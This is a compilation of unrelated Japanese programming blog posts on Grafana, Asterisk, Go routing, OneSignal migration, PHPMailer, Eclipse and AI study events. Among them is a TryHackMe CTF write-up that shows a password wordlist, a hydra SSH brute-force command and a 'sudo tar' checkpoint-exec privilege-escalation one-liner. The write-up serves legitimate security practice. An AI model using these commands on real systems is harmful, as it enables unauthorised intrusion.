ダッシュボードの方はエクスポート・インポートの方が圧倒的に楽ということがわかったので書いておきます。

Amazon Managed Grafanaはv9.4で確認しています。

# GrafanaのHTTP APIでは細かいところまで設定できない

まずは、ダッシュボードのHTTP APIを確認します。

https://grafana.com/docs/grafana/latest/developers/http_api/dashboard/

現状では単純にダッシュボードの作成までしかできないようです。
ダッシュボードは作成して、パネルの設置などをするのが本番なので一旦HTTP APIは置いとくとします。

# ダッシュボードのエクスポート

https://grafana.com/docs/grafana/latest/dashboards/manage-dashboards/#export-and-import-dashboards

基本公式マニュアルの通りなので、画面ハードコピー交えて改めて書きます。

ダッシュボードのシェアアイコンをクリック。

![ダッシュボードのシェアアイコンをクリック](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1959433/7baecf4c-060d-ebb5-b24e-cd83cfe4f967.png)

ダイアログが出てくるので、ExportタブでSave to fileをクリック。
そうすると、JSONファイルがダウンロードできます。

![ExportタブでSave to file](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1959433/c1569e0d-244f-51a0-9306-62af22fe3cd9.png)

ダウンロードしたJSONは、annotations > list >　datasourceの部分以外のid・uidをnullに変えておいた方がよいです。
id・uidが残っていると、JSONをインポートした時に既存のものとぶつかって重複エラーや意図せぬ上書きに繋がります。

idをnullにする
```json
  "editable": true,
  "fiscalYearStartMonth": 0,
  "graphTooltip": 0,
  "id": 1,
```

↓


```json
  "editable": true,
  "fiscalYearStartMonth": 0,
  "graphTooltip": 0,
  "id": null,
```

uidもnullにする

```json
  "panels": [
    {
      "datasource": {
        "type": "xxx-datasource",
        "uid": "9espd8vIz"
      },
```

↓


```json
  "panels": [
    {
      "datasource": {
        "type": "xxx-datasource",
        "uid": null
      },
```

annotations > list >　datasourceのuidはそのままでOK

```json
{
  "annotations": {
    "list": [
      {
        "builtIn": 1,
        "datasource": {
          "type": "grafana",
          "uid": "-- Grafana --"
        },
```

# ダッシュボードのインポート

こちらも基本公式マニュアルの通りですが、画面ハードコピー交えて改めて書きます。

Home > Dashboardsを開いて、Newアイコンをクリック。
Importをクリック。

![Home > Dashboardsを開いて、Newアイコン　> Importをクリック](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1959433/7262df20-e4e3-2518-eb41-4ada1462e148.png)

エクスポート＆編集したJSONファイルをアップロードします。

![エクスポート＆編集したJSONファイル](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1959433/3b39f9be-fa82-c926-0568-74d525440d36.png)

アップロードすると、JSONに書かれたダッシュボードが表示されます。
Importボタンをクリックすれば完了します。

![Importボタンをクリックすれば完了](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1959433/ea7485a8-714e-3841-542f-d91d4a543e40.png)

この時、エクスポートしたJSONにidやuidが残っている場合、重複を避けるためにuidを振り直すよう促されます。
Asterisk で時報をつくる

この記事では，Asterisk を利用したIP電話交換機に**NTT互換の**時報機能を組み込むことができる新たな方法を紹介します。

## 動機

- 無料でかけられる時報をつくりたい
- Asterisk 標準の時報は物足りない
- NTT 互換の信号を生成して自動時刻合わせに利用したい

## 方法

- Asterisk の Music On Hold (MOH) 機能で外部のアプリケーションを鳴らせる機能を利用
    - これは低遅延で音源を再生できる
- 高速な Rust で書かれたバイナリアプリケーションを使用
- リアルタイムで現在の時報の音源を垂れ流すコマンドを作成

## やってみよう

必要なもの： Cargo (rustup で入れましょう)

https://github.com/metastable-void/my117

my117 ソフトウェアのライセンスは `Apache-2.0 OR MPL-2.0` です。

### インストール

```bash
git clone https://github.com/metastable-void/my117
cd my117
cargo build --release
sudo cp target/release/my117 /usr/local/bin/
```

### とりあえず聞いてみる

デスクトップ環境でこれをインストールすると，そのまま音声を聞くことができます。

GNU/Linux or macOS の場合：

```bash
my117 | ffplay -f mulaw -ac 1 -ar 8000 -sync ext -probesize 200 -fflags nobuffer -i -
```

### Asterisk の設定

/etc/asterisk/musiconhold.conf

```
[my117]
mode=custom
application=/usr/local/bin/my117
format=ulaw
```

/etc/asterisk/extensions.conf

```
[users] ; 例
; ...

; 117 にかけると我々の時報が流れる設定
exten => _117,1,Answer
same => n,MusicOnHold(my117)
same => n,Hangup

; ...
```

### その他

- 時報サーバのタイムゾーンは時報を聞きたいタイムゾーンに設定しましょう。日本なら `Asia/Tokyo` です。
    - Debian/Ubuntu: `sudo dpkg-reconfigure tzdata`

## 動作例

029-828-4147 (生活情報基盤研究機構) の電話にかけて，自動アナウンスが鳴っている間に `#30117` をダイヤルすると，この時報を聞くことができます。

## 最後に

my117 ソフトウェアにバグや改善するべき点などありましたら，イシューを立てるか，プルリクエストを送っていただけると幸いです。

なお，時報関連の特許を NTTグループ が持っていますので，商用利用する前には念入りな確認を推奨します。
AI マインド マッピングでアイデアを構造化します

友達は、AIとマインドマップを組み合わせた製品を作りました。皆さんに需要があるかどうかわかりませんが、ご興味がありましたらお知らせください。

MindAI は、明確な思考プロセスを簡単に構築し、仕事や学習の効率を向上させる AI 駆動のマインド マッピング ツールです。法律知識でも、英語学習でも、本の分解でも、MindAI はあなたのそばにいてくれる素晴らしいアシスタントです。
![screenshot-20240108-145410.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3670847/4bf33112-80b4-a588-4edf-e9f8857fa8de.png)
プログラミング初学者がやってよかった勉強　まとめ

## プログラミング初学者がPythonを学ぶときやってよかった勉強まとめ

ざっと箇条書きにすると以下（思いつき次第更新予定）

1. 「PaizaLearning」, 「Progate」, 「ドットインストール」すべての基礎コースを通る
1. 「ゼロからのPython入門講座」をやる

### 1. 「PaizaLearning」, 「Progate」, 「ドットインストール」のすべての基礎コースを通る

同じ内容を扱っていても、意外と教材ごとに教え方の切り口が異なるので、ある教材ではわかりにくかったところを、別の教材だと納得して理解できた。そういう経験ができるのでよかったです。

具体例として、以下のコードの(self)。これがなんで書いてあるのか、一つの教材をやった時には「そういうものだから」としか答えられなかったけど、別の教材では、そこがわかりやすく解説されていたので納得できました。
```
class Menu:
    def __init__(self):
        print("Hello")

menu1 = Menu()
```
他には「コレクションのアンパック」とか、「可変長引数」とか、「あーあれね」ってなってますか？なってないと基礎を一度通っただけでは見落としていル。そんな箇所がまだある可能性高いと思います。

実際にこの勉強法をやった感想として、最初に学んだとき、なんとなくで通ってた箇所を確認できるので、やる前は「同じことやったって..」と、思っていましたが、意外と有意義な勉強時間になりました。

実際に何か作ったり、実務に近いことをしながら、基礎力を固めていくのが理想的ですがそれができずにいる人は、この勉強もおすすめです。
（自分はPaizaを一番最初にやりました。また個人的にPaizaが一番あっさりした解説に思えたので、一番最初にやるものとしておすすめですかね。）

### 2. 「ゼロからのPython入門講座」
[ゼロからのPython入門講座](https://www.python.jp/train/index.html)を一周すると、最後に簡単なゲームが作れます。
この勉強のよかった点は、作ったのを誰かに触らせることができる点です。（BMIを求めるコードを作った時より作った感ありました。）
自分は妹に作った簡単なゲームをプレイしてもらいました。
図工で何か作ったら、誰か人に「これ作ったんだ」って見せませんでした？
プログラミング勉強してるけど、何も作った感じがしない。そんな人に、おすすめ。

また最後のスイカ割りゲームは一度通るだけでなく、何も見ずに自分で作れるようになるまで何度も挑戦するのが良かったです。何も見ずに作ると、うまくいかないし、ちょっと大変ですが、知識の足りない箇所を知れるし、何より、より一人でプログラムで何か作れた感覚を体験できます。その方がモチベも上がるし、力もつくはず
Goのnet/httpではパスパラメータは取得できない！なので実装してみた

## net/httpでパスパラメータが取得できない件
GoでWebアプリやAPIを開発する時には、Goの標準パッケージであるnet/httpを使うことができる。

JavaやPythonなどの他の言語だと、WebフレームワークやAPI開発のフレームワークを使う必要がある一方で、Goではサードパーティーのライブラリを使う必要がないというのだから、それはそれは便利である。

しかし、net/httpを実際に使ってみて感じた最大のデメリットは、**パスパラメータが取得できない**ということだ。

パスパラメータはアプリを開発するのであれば、99%取得する必要が出てくるだろう。これは困ったというのが事実だが、話は簡単。無いのであれば作ればいい。

そこで今回は、Goのnet/httpでパスパラメータを取得するための実装をしてみた。

※なお、クエリパラメータやボディパラメータ、さらにはHTTPメソッド（GETなのかPOSTなのかの情報）については、取得する機能が存在する。やり方は割愛するのでググっていただきたい。

## パスパラメータを取得するコード

/item/{itemId} のようなエンドポイントで {itemId} 部分をパスパラメータとして抽出する簡単な例を以下に示す。

```Go:main.go

package main

import (
    "fmt"
    "net/http"
    "strings"
)

func itemHandler(w http.ResponseWriter, r *http.Request) {
    // URLのPath部分を"/"で分割
    parts := strings.Split(r.URL.Path, "/")

    // 期待するパスが "/item/{itemId}" 形式であるため、
    // 配列の3番目の要素が itemId になる。
    // URLが /item/123 の場合、parts は ["", "item", "123"] になる。
    if len(parts) < 3 {
        http.Error(w, "Invalid request", http.StatusBadRequest)
        return
    }
    itemId := parts[2]

    // itemIdを使用した処理
    fmt.Fprintf(w, "Item ID: %s", itemId)
}

func main() {
    http.HandleFunc("/item/", itemHandler) // HandleFunc にパスを登録

    fmt.Println("Server is starting...")
    http.ListenAndServe(":8080", nil)
}

```
こう見ると比較的簡単に実装できると感じたのではないだろうか？いやいや、やっぱめんどくせえよって感じた方は、ここで離脱せずに次の章を見てほしい。

## より便利なルーティング機能やパスパラメータの取得などを簡単に扱えるGoの外部ライブラリ 5選

パスパラメータを取得するのにセルフ実装は嫌だという場合は、net/httpの仕様を諦め、外部ライブラリを使用しよう。

見出しの通り、Go言語で人気のあるWebフレームワークおよびルーティングライブラリを5つ紹介する。

### 1. Gorilla Mux

Gorilla Muxは非常に人気があり、強力なURLルーターおよびディスパッチャー。パスパラメータ、正規表現ベースのルーティング、リバースルーティングなどの機能を提供している。
- **URL**: [Gorilla Mux GitHub](https://github.com/gorilla/mux)

### 2. Gin

Ginは高性能なHTTP Webフレームワーク。ルーティング、ミドルウェア、JSONの解析などが簡単に行える。Ginはスピード重視のアプリで使える。
- **URL**: [Gin GitHub](https://github.com/gin-gonic/gin)

### 3. Echo

Echoは高性能なミニマリストWebフレームワーク。容易なルーティング、中間処理、テンプレートレンダリングなどが特徴。Echoもまた、API開発において人気の選択肢の一つ。
- **URL**: [Echo GitHub](https://github.com/labstack/echo)

### 4. Chi

Chiは小さく、急速に人気を集めているHTTPルーター。Goの標準`net/http`に近い設計思想を持っており、中間層やルートグループ、URLパラメータの取得などをシンプルかつ効果的に行える。
- **URL**: [Chi GitHub](https://github.com/go-chi/chi)

### 5. Fiber

FiberはExpress.jsに触発されたWebフレームワークで、Node.jsの開発者に馴染み深いAPI設計を持っている。使いやすさとパフォーマンスのバランスが取れていることが特徴。
- **URL**: [Fiber GitHub](https://github.com/gofiber/fiber)
ニフクラ mobile backendのInstallationをOneSignalに移行する

[ニフクラ mobile backendは3月末で終了します](https://mbaas.nifcloud.com/info/2023/12/post-171.html)。

多くの方がニフクラ mobile backendのプッシュ通知を利用しています。他の機能（認証やデータストアなど）を使っていないのであれば、プッシュ通知のクラウドサービスへ移行するのが最も手軽そうです。

そこで、海外のプッシュ通知ASPであるOneSignalへ、既存のニフクラ mobile backendのプッシュ通知データを移行する方法を紹介します。

## TL;DR

移行用のスクリプトを作りました。

[NCMBMania/NCMB2OneSignal](https://github.com/NCMBMania/NCMB2OneSignal)

使い方は、以下のような形です。

```bash
npx node dist/index.js \
  --debug\
	-a YOUR_ONESIGNAL_APP_ID \
	-k YOUR_ONESIGNAL_REST_API_KEY\
	/path/to/installation.json
```

## 必要な情報を用意する

### ニフクラ mobile backendのプッシュ通知データをエクスポートする

プッシュ通知データは、管理画面のエクスポート機能か、Chrome機能拡張で取得できます。JSONデータで取得してください。

[NCMBの管理画面をGoogle Chrome機能拡張で便利にする（CSVエクスポート） \#JavaScript \- Qiita](https://qiita.com/goofmint/items/19bccf321f210b013e10)

![](https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F197026%2F50eb447d-2f2d-3e18-dda8-21c9033adb1b.gif?ixlib=rb-4.0.0&auto=format&gif-q=60&q=75&w=1400&fit=max&s=21cdedc042790284c656719bf169d803)

データはinstallation.jsonという名前だとします。

### OneSignalの準備

OneSignalのアカウントを作成し、アプリを作成します。そうすると、Settings画面で以下の情報が取得できます。

- App ID
- REST API Key

これらを控えておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/3876ea28-f576-f73b-86cf-7f96629e6bcb.png)


## 移行用スクリプトを用意する

移行用スクリプトは、Node.jsで動作します。Node.jsがインストールされていない場合は、インストールしてください。

```bash
git clone https://github.com/NCMBMania/NCMB2OneSignal.git
cd NCMB2OneSignal
npm install
```

## 移行用スクリプトを実行する

先ほど取得したOneSignalの情報、installation.jsonのパスを指定して、スクリプトを実行します。

```bash
npx node dist/index.js \
  --debug\
	-a YOUR_ONESIGNAL_APP_ID \
	-k YOUR_ONESIGNAL_REST_API_KEY\
	/path/to/installation.json
```

この他に、下記のオプションがあります。 `--debug` と `--adhoc` はiOSで利用します。どちらも指定しない場合は、リリースモードとなります。

```
Usage: index [options] <filePath>

Arguments:
  filePath                   installation.jsonのパス

Options:
  -k, --key <REST API KEY>   OneSignalのREST APIキー (default: "")
  -a, --app-id <APP ID>      OneSignalのアプリID (default: "")
  --debug                    (iOSのみ)デバッグモード。サンドボックス向けの場合は指定してください。 (default: false)
  --adhoc                    (iOSのみ)アドホックモード。アドホック向けの場合は指定してください。 (default: false)
  -l, --language <language>  言語。デフォルトはja-JPです。 (default: "ja-JP")
  -c, --country <country>    国。デフォルトはJPです。 (default: "JP")
  -h, --help                 display help for command
```

installationデータに何か情報を紐付けている場合、それらはすべて `tags` 以下に入っています。 `channels` も、`tags` 以下に保存されます。

## 注意点

プッシュ通知の運用によって、データフォーマットが異なる場合があります。その場合はスクリプト自体を修正してください。

指定できるデータは下記のドキュメントを参照してください。

[Add a device](https://documentation.onesignal.com/reference/add-a-device)

## まとめ

ニフクラ mobile backendからOneSignalへの移行はさほど難しくありませんが、データの持ち方が変わるので注意が必要です。また、アプリからプッシュ通知を作っている場合には、OneSignal SDKなどを利用する必要があるでしょう。
TryHackMe Bounty Hacker Writeup

# 概要

Bug Bountyの基本みたいな内容かと思ったら全然違った。元ネタはカウボーイビバップ。
アメリカでも人気なんだね。

初心者向けなのか、

- Deploy the machine.
- Find open ports on the machine

とかあった(回答する必要がない問題)

## Who wrote the task list? 

nmapしたら21にftp, 22にssh,80にapacheのサービスが動いていたのでftpのanonymousでログイン

- task.txt
- lock.txt

というテキストがあるので、両方ダウンロードして中身を見るとtask.txtに

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

- lin
```
というテキストがあるので答えはlin

lock.txtの中身については
```
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

ですげーパスワードっぽい。

一応apacheが動いていたのでgobusterを動かしてみるが、特におかしなurlは見つからなかったため今回はこれらの組み合わせでsshで侵入するとあたりをつける

ちなみにテキストの中身についてはアニメにredmoonという薬物が出てきたのでその話にかけているだけで、今回のCTFとは別に関係なさそう。

## What service can you bruteforce with the text file found?

上記書いたが、sshでのパスワード総当たりかなとあたりをつけているので答えはssh

## What is the users password? 

HintにUse Hydraとあるのでlinとあと一応locks.txtとあるのでlocksをユーザー名に渡してhydraで総あたり攻撃をする

```
hydra -L userlit.txt -P locks.txt IP ssh
```

そうするとlinユーザーでパスワードがヒットする

linユーザーのホームディレクトリにuser.txtがあるのでそこに一つ目のフラグが見つかる

### root取得(権限昇格)

```
sudo -l
```

を実行するとtarにsudo権限がありそうなのでGTFOBinsで調べると
https://gtfobins.github.io/gtfobins/tar/#sudo

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

なんでtarに任意のコマンドがオプションがあるんですかね？

これで権限昇格することができるのであとは/root/root.txt内にフラグを見つけることができる。
【初心者向け】生成AI勉強会で使用した資料を公開 #1（ChatGPTの活用方法とリスクについて）

---

:::
### <font color="#03B47E">ChatGPTを業務で活用して効率化する方法</font>
ChatGPT含む生成AIを業務で活用したい方は勉強会を行なっておりますので、以下のフォームからお問い合わせください⭐️
:::

https://tenho7.jp/contact/

---

## 勉強会の内容
「ChatGPTの活用方法と考えられるリスク」について勉強会を行ったのでその時の資料を公開します。
（2023年の8月に行ったため、内容が変わっている場合もありますが）誤字脱字や気になった部分がありましたらご連絡ください。

## 資料
<details><summary>目次</summary>

* はじめに
    * 会社概要
    * スピーカー紹介
* 今日から使える！業務効率化プロンプト集
    * ChatGPTを用いて業務効率化する方法
    * 業務効率化のプロンプト事例
        * メール作成について
        * マークダウンについて
        * 自社商品やサービスの紹介文作成
        * 役割設定について
        * 構成作成
        * 資料化
        * 企画の壁打ち
        * エクセルの関数作成
        * プログラミングコードの作成
* 活用する上で注意すること
    * 出力結果を鵜呑みにしない
    * 機密情報を入力しない
    * 著作権の取り扱い
    * エンタープライズプランについて

</details>

<script async class="speakerdeck-embed" data-id="447c9c050d864b539159dca0004fba1d" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script>

## 生成AI学習カリキュラム無料公開中
ChatGPTや生成AIを業務で活用するための無料カリキュラムを無料で提供しております。
受講したい方は以下のリスキリングコンソーシアムで会員登録してお申し込みください⭐️

https://japan-reskilling-consortium.jp/register/request

:::note warn
**お問い合わせ数1位**
リスキリングコンソーシアム様にて提供させていただいております
『【ChatGPTを活用しよう】プロンプトエンジニア入門』
が年間お問い合わせ数1位をいただきました
:::
![IMG_2553.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3670666/4e7aee1e-4df9-68c9-44db-b5db84663cf4.jpeg)

無料で提供させていただいておりますので、以下のリンクからお問い合わせください⭐️

https://japan-reskilling-consortium.jp/register/request

---

:::
### <font color="#03B47E">ChatGPTを業務で活用して効率化する方法</font>
ChatGPT含む生成AIを業務で活用したい方は勉強会を行なっておりますので、以下のフォームからお問い合わせください⭐️
:::

https://tenho7.jp/contact/

---

## 導入事例
弊社は企業様や行政様に向けて、生成AIの研修や導入支援を行っております。

**三重県伊勢市様**
伊勢市の職員の方や、伊勢市内の企業様に向けて「ChatGPTの業務での活用方法と使用する際に注意するリスク」についてセミナーと「プロンプト一覧集」の提供を行いました。

https://markezine.jp/article/detail/42973

**JR九州鉄道（九州旅客鉄道株式会社）様**
JR九州様の従業員様や関連企業様に向けて、「ChatGPTや生成AIの業務での活用方法や活用事例」についてセミナーを行いました。

https://prtimes.jp/main/html/rd/p/000000014.000116947.html

**JR九州コワーキング「Q」様**
JR九州様が運営されているコワーキングスペース「Q」にて事業者様に「ChatGPTを業務で活用する方法とリスクの対処法」についてセミナーを行いました。

https://prtimes.jp/main/html/rd/p/000000010.000116947.html

**株式会社シード様**
株式会社シード様の従業員様に向けて、「ChatGPTの基本と業務でのプロンプト活用術」についてセミナーを行いました。

https://tenho7.jp/case/nbnqt7-Z/

**株式会社CINC様共催**
マーケター向けに「Webマーケティングで活用できるChatGPT活用事例」についてのセミナーをCINC様と共同で開催しました。

https://techplay.jp/event/908478

**株式会社D4c Academy様共催**
個人向けに「ChatGPTの業務活用とリスクの対処法セミナー」をD4c Academy様と共同で開催しました。

https://tenho7.jp/case/lebuhbWH

**デジタルシティ株式会社様**
デジタルシティ株式会社様の従業員様に向けて、「ChatGPTの業務での活用方法と使用する際に注意するリスク」についてセミナをー行いました。

https://tenho7.jp/case/FynteYF9/

**青山学院大学様**
青山学院大学の生徒様に向けて、「ChatGPTを用いた事業戦略方法」について授業を行いました。

https://tenho7.jp/case/1g3Q6I4/

**愛媛県今治市様**
今治市の職員様に向けて、「ChatGPTの業務での活用方法」について勉強会を行いました。

---

:::
### <font color="#03B47E">ChatGPTを業務で活用して効率化する方法</font>
ChatGPT含む生成AIを業務で活用したい方は勉強会を行なっておりますので、以下のフォームからお問い合わせください⭐️
:::

https://tenho7.jp/contact/

---
vlc.media_list_player の画面を基本画面に埋め込む方法

## 目的
vlc.media_list_player の画面を tkinter の基本画面に表示するプログラムです。
イベント処理も含めています。

## 実行環境
python
tkinter
python-vlc

## プログラム
要点のみのコードです。

```ruby:Media List Player
    Instance = vlc.Instance()
    list_player = Instance.media_list_player_new()
    player = Instance.media_player_new()
    list_player.set_media_player(player)

    if platform.system() == 'Windows':
        player.set_hwnd(frame.winfo_id())
    else:
        player.set_xwindow(frame.GetHandle())

    events = player.event_manager()
    events.event_attach(EventType.MediaPlayerMediaChanged, MediaChanged)
```
【eclipse】エディタエリアやビューエリアが非表示になった時の対処法

エディタエリアを閉じてしまった時、再表示させるためにてこずったため備忘録

----------------------------------------------------------------------------------
# 事象

　表示されていたエディタエリア
　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/cbb18048-edce-9a90-d287-1e034360f536.png" width=80%>

　テキストをすべて閉じたらエリアごとなくなってしまった時
　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/f7de6dcd-3e55-4e18-7cf6-2385bc5ff922.png" width=80%>

# 対処法
　復元ボタンを押下
　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/c9405c99-6af5-5cdf-711f-1db868c57b88.png" width=80%>
【eclipse】コメントの変更

# コメント変更手順
　eclipseのコメント変更機能をつかって修正
 
　<b>１．SVNを表示</b>
　　　コメントを変更したいbranchまたはtrunkを右クリック→「リソース・ヒストリーを表示」
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/0b945238-8f62-3ab0-8aa9-b240e3efba6a.png" width=60%>

　<b>２．編集対象のリビジョンを選択</b>
　　　表示された「ヒストリー」からコメント修正したい行を選択し、右クリック→「改訂プロパティーの表示」
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/f3202dd2-a3d0-0d51-0fcc-21ffc2331f0c.png" width=90%> 
  
　<b>３．編集欄を選択</b>
　　　svn:log上で右クリック→「編集」
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/089e7332-85a4-21da-2e04-930b729c437e.png" width=90%> 

　<b>４．編集</b>
　　　新しいコメントを入力→「OK」を押下
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/14d556a9-2f3b-054a-18e1-0bfd94e8df79.png" width=60%>
【eclipse】プロジェクト名の変更

# 変更手順
　eclipseの名前変更機能をつかって修正
 
　<b>１．SVNを表示</b>
　　　名前変更したいbranchまたはtrunkを右クリック→「リファクタリング」→「名前変更」
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/ec7bfe0c-6f5d-738a-c85e-b2badbc25f35.png" width=60%>
  
　<b>２．変更後の名前を入力</b>
　　　「リモート・リソースの名前変更」の名前欄に変更後の名前を入力しOKボタンを押下
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/7e47978d-3ab0-eb46-71b6-08a7d2c9a24b.png" width=60%> 
  
　　　名前が変更されたことを確認
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/e52847a5-9655-20ae-7de5-c9e8b822ad51.png" width=60%>
PHP: SMTP over SSL でメールの送信

こちらのプログラムを改造しました。
[PHP: PHPMailer の使い方](https://qiita.com/ekzemplaro/items/de40de3ac7f66a3e2a1b)
>Port は、465 です。

## プログラム

```php:phpmailer_smtp_ssl.php
#! /usr/bin/php

<?php
// ------------------------------------------------------------------
//	phpmailer_smtp_env.php
//
//				        Jan/08/2024
//
// ------------------------------------------------------------------
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require_once '/usr/share/php/libphp-phpmailer/autoload.php';
require_once '/usr/share/php/Dotenv/autoload.php';

$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv->load();

$from = $_ENV['FROM'];
$to = $_ENV['TO'];

date_default_timezone_set('Asia/Tokyo');
$today = date ("Y-m-d");
$now = date("Y年m月d日 H時i分s秒");


$mailer = new PHPMailer;

$mailer->IsSMTP();
$mailer->Host = $_ENV['SERVER'];
$mailer->SMTPAuth = true;
$mailer->Username = $_ENV['USR'];
$mailer->Password = $_ENV['PASSWORD'];
$mailer->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
// $mailer->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mailer->Port = $_ENV['PORT'];

$mailer->CharSet = 'utf-8';

$str_out = "";
$str_out .= 'This is TEST.' . PHP_EOL;
$str_out .= 'こんにちは。' . PHP_EOL;
$str_out .= '晴れています。' . PHP_EOL;
$str_out .= $today . PHP_EOL;
$str_out .= $now . PHP_EOL;

$mailer->setFrom($from);
$mailer->addAddress($to);
$mailer->Subject = 'Test Jan/08/2024 ' . date ("H:i:s") ;
$mailer->Body = $str_out;

if(!$mailer->send()) {
	echo 'Email is not sent.\n';
	echo 'Email error: ' . $mailer->ErrorInfo;
} else {
	echo '*** Email has been sent. ***' . PHP_EOL;
}

// ------------------------------------------------------------------
?>
```

```text:.env
SERVER = 'mail.aaaa.co.jp'
PORT = 465
USR = '****@aaaa.co.jp'
PASSWORD = '****'
FROM = '****@aaaa.co.jp'
TO = 'sample@example.com'
```
AI駆動開発(AI-Driven Development)の勉強会を開催します！


明けましておめでとうございます。クリエーションラインの荒井です。今回は2024年2月2日(金)開催予定のAI駆動開発(AI-Driven Development)の勉強会の開催について紹介していきます。

（勉強会の詳細や参加については以下をご確認ください。）
https://connpass.com/event/306406/edit/

### なぜ勉強会を開催しようと思ったのか？
ChatGPTをはじめとする生成AI・LLMの登場により、コード生成や自動補完、バグ修正の支援などがAIでできるようになりつつあります。もちろんまだまだ精度・実用性や品質確保についての課題は多くありますが、これらを利用することで、アプリ開発の生産性が大きく変わったという話も良く聞くようになってきました。

個人的には生成AI・LLMはまだまだ発展途上の技術であり、今後さらなる投資が集まることにより指数関数的に進化すると予想しています。これらを踏まえて考えると、近い将来に、アプリケーション開発やシステム開発、コーディングのスタイルは大きく変わることが予想されます。

既にコーディングのみならず、仕様整理、デザイン、設計、テスト、ドキュメント作成においても、AIを利用した開発ツールが既に多数出てきていますが、今後はクラウドベンダーが要件詳細化やデザイン、コーディング、テストを統合的に行うツールを出してくると予想され、開発プロゼス全体が大きく変わっていくと予想されます。これに伴いエンジニアの役割・求められるスキル・学習方法のみならず、マインドセットやあり方も大きく変化にさらされることになると思います。

利用する側もまだまだ施行錯誤になりますが、大きな変化の中で、最新のトレンド・技術をキャッチアップし開発に活かしていくことは個人・組織においても非常に重要になると思います。このような背景から皆さんと共に生成AI・LLMを使った新たな開発手法について勉強・議論できる場が作れればと思い、勉強会を企画しました。

#### 勉強会の概要

AI駆動開発(AI-Driven Development) 勉強会では、AI技術を使った開発に興味を持つ方々向けに、ChatGPTやGitHub CopilotなどのAIツールを使った開発のノウハウや、AIによる開発プロセスの最適化、生成AI・LLMを最大限に活用した新たな開発方法・開発スタイルやテクニックや今後の新しい開発スタイルについて共有・議論していきます。
生成AI・LLMを利用した開発に興味・関心があるエンジニアの皆さんの参加をぜひお待ちしております。

日時：2月2日(金) 19:00〜20:50（開場：18:30）
開催形式：オンサイト＋オンライン
会場：KDDI DIGITAL GATE (東京都港区虎ノ門2丁目10-1 虎ノ門ツインビルディング 西棟3階)
主催：AI駆動開発勉強会 運営委員会
協力：KDDIアジャイル開発センター株式会社、クリエーションライン株式会社<br>

#### アジェンダ

GitHub Copilotの最新の動向やユースケースを始め、ChatGPTを利用したアプリケーション開発、AIをシームレスに組み込んだIDE（Cursor)の紹介、LTなどのコンテンツを予定しています。

| 時間         | セッション内容                                 | 発表者                                       |
| ------------ | -------------------------------------------- | ------------------------------------------- |
| 19:00〜19:05 | イベント案内 | |
| 19:05〜19:35 | AIネイティブ開発における GitHub Copilot | GitHub Architect Yuki Hattori さん |
| 19:35〜20:55 | ChatGPTを利用したアプリケーション自動構築フレームワーク | Fabo佐々木さん |
| 19:55〜20:10 | AI-Fast Coder Cursorの機能紹介とユースケース | Creationline 荒井さん |
| 20:10〜20:30 | AWS Bedrock vs Azure Chat（仮）| KDDIアジャイル開発センター（発表者調整中） |
| 20:30〜20:50 | LT大会（5分 x 4名） | （参加者募集中！) | 
| 21:00〜21:50 | オンサイト参加の方向けに、 懇親会（ネットワーキング）を開催予定）　| |
【eclipse】ソースを比較する機能

ファイル管理をする中で、改修中のソースファイルがデグレしていないか（コミットした修正時の内容が外部から納品されてきたソースファイルにしっかり反映されているか）気になった時、branch(修正後)とtrunk(修正元)それぞれの対象ソースをローカルにエクスポートしてDIFF確認をしていたがもっと簡単に比較することが出来ないかと考え調査

----------------------------------------------------------------------------------
# ソース比較手順
　eclipseの比較機能をつかって差分を確認

　<b>１．比較を選択</b>
　　　プロジェクト内の比較したいソースを右クリック → 「比較」 → 「リビジョン」
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/6fbfa8da-5e22-69ed-6788-1f263b09bd21.png" width=90%>

　<b>２．比較したいソースを選択</b>
　　　プロジェクト内の比較したいソースを右クリック → 「比較」 → 「リビジョン」
